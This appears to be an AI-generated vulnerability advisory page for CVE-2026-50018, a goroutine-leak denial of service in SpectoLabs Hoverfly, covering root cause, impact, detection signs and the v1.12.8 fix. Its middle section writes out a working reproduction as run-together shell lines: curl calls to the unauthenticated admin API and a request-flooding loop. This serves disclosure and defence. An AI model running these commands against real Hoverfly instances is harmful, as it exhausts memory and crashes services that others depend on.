
PEACH
Uma estrutura de isolamento de inquilino
CVE-2026-50018 is a Denial of Service vulnerability in SpectoLabs Hoverfly caused by a goroutine leak in remote post-serve actions. The vulnerability affects all versions of github.com/SpectoLabs/hoverfly up to and including v1.12.7, and was patched in v1.12.8. It was first published as GHSA-42j2-w334-qxw7 on June 3, 2026, and added to the GitHub Advisory Database on July 14, 2026. The CVSS v3.1 base score is 6.5 (Medium) (GitHub Advisory, Hoverfly Advisory).
The root cause is uncontrolled resource consumption (CWE-400, CWE-770) stemming from the use of Go's http.DefaultClient — which has no timeout by default — inside unbounded goroutines spawned for remote post-serve actions. In core/hoverfly.go:224-228, each matching proxy request launches a new goroutine via go postServeAction.Execute(...) with no recovery wrapper, cap, or backpressure mechanism. In core/action/action.go:128-143, the HTTP call http.DefaultClient.Do(req) blocks indefinitely if the remote endpoint accepts the TCP connection but never responds, completes a TLS handshake, or uses TCP window size 0. Because the only exit path from Execute() is a completed HTTP response, goroutines targeting a non-responsive server are never cleaned up, causing unbounded memory growth at approximately 66 KB per goroutine (GitHub Advisory, Hoverfly Advisory).
Successful exploitation results in complete denial of service through memory exhaustion and an OOM-triggered process crash. Since Hoverfly's admin API is unauthenticated by default, an attacker can register a malicious remote post-serve action, load a catch-all simulation, and then flood the proxy with requests — each permanently leaking a goroutine and ~66 KB of memory. Empirical testing on v1.12.7 demonstrated that 10,000 requests leak approximately 640 MB, and 100,000 requests would exhaust ~6.4 GB of memory, crashing the process. There is no confidentiality or integrity impact; the vulnerability is limited to availability (GitHub Advisory).
A public proof-of-concept is included in the official security advisory, detailing exact curl commands and shell scripts to reproduce the goroutine leak. Exploitation requires no privileges (the admin API is unauthenticated by default) but does require user interaction in the CVSS sense — an operator must have a remote post-serve action configured, or an attacker must be able to register one via the admin API. No evidence of in-the-wild exploitation, threat actor attribution, or CISA KEV catalog listing has been reported. No EPSS score is currently available for this CVE (GitHub Advisory, Hoverfly Advisory).
ncat -l -k 9999 &, or use a non-routable IP such as 192.0.2.1 (TEST-NET-1) which causes TCP SYN to hang indefinitely.curl -X PUT http://localhost:8888/api/v2/hoverfly/post-serve-action \
-H "Content-Type: application/json" \
-d '{"actionName": "leak", "remote": "http://192.0.2.1:9999/blackhole", "delayInMs": 0}'curl -X PUT http://localhost:8888/api/v2/simulation \
-H "Content-Type: application/json" \
-d '{"data": {"pairs": [{"request": {"path": [{"matcher": "glob", "value": "*"}]}, "response": {"status": 200, "body": "ok", "postServeAction": "leak"}}], "globalActions": {"delays": [], "delaysLogNormal": []}}, "meta": {"schemaVersion": "v5.2"}}'for i in $(seq 1 10000); do
curl -s -x http://localhost:8500 "http://target.com/req${i}" &
[ $((i % 100)) -eq 0 ] && wait
donehttp://<hoverfly-host>:8888/api/v2/hoverfly/post-serve-action registering remote actions pointing to external or non-routable IPs; large volumes of outbound TCP connections from the Hoverfly process to a single external host that never complete (persistent SYN_SENT or ESTABLISHED with no data transfer)./api/v2/hoverfly metrics or Go runtime profiling endpoints if exposed./api/v2/hoverfly/post-serve-action and /api/v2/simulation from unexpected source IPs; absence of HTTP response log entries for remote post-serve action calls (goroutines never complete).dmesg or /var/log/syslog showing Out of memory: Kill process <hoverfly-pid>) following a spike in proxy traffic (GitHub Advisory).Upgrade Hoverfly to v1.12.8, which replaces http.DefaultClient with a dedicated *http.Client configured with a 30-second timeout, ensuring all in-flight remote post-serve action goroutines are guaranteed to terminate. The fix was merged in PR #1228 and released on May 31, 2026. As a workaround for those unable to upgrade immediately, restrict access to the Hoverfly admin API (port 8888) using network-level controls (firewall rules, authentication proxies) to prevent unauthorized registration of remote post-serve actions (Hoverfly Release, Fix PR).
Origem: Este relatório foi gerado usando IA
Avaliação de vulnerabilidade gratuita
Avalie suas práticas de segurança na nuvem em 9 domínios de segurança para comparar seu nível de risco e identificar lacunas em suas defesas.
Marque uma demonstração personalizada
"A melhor experiência do usuário que eu já vi, fornece visibilidade total para cargas de trabalho na nuvem."
"A Wiz fornece um único painel de vidro para ver o que está acontecendo em nossos ambientes de nuvem."
"Sabemos que se a Wiz identifica algo como crítico, na verdade é."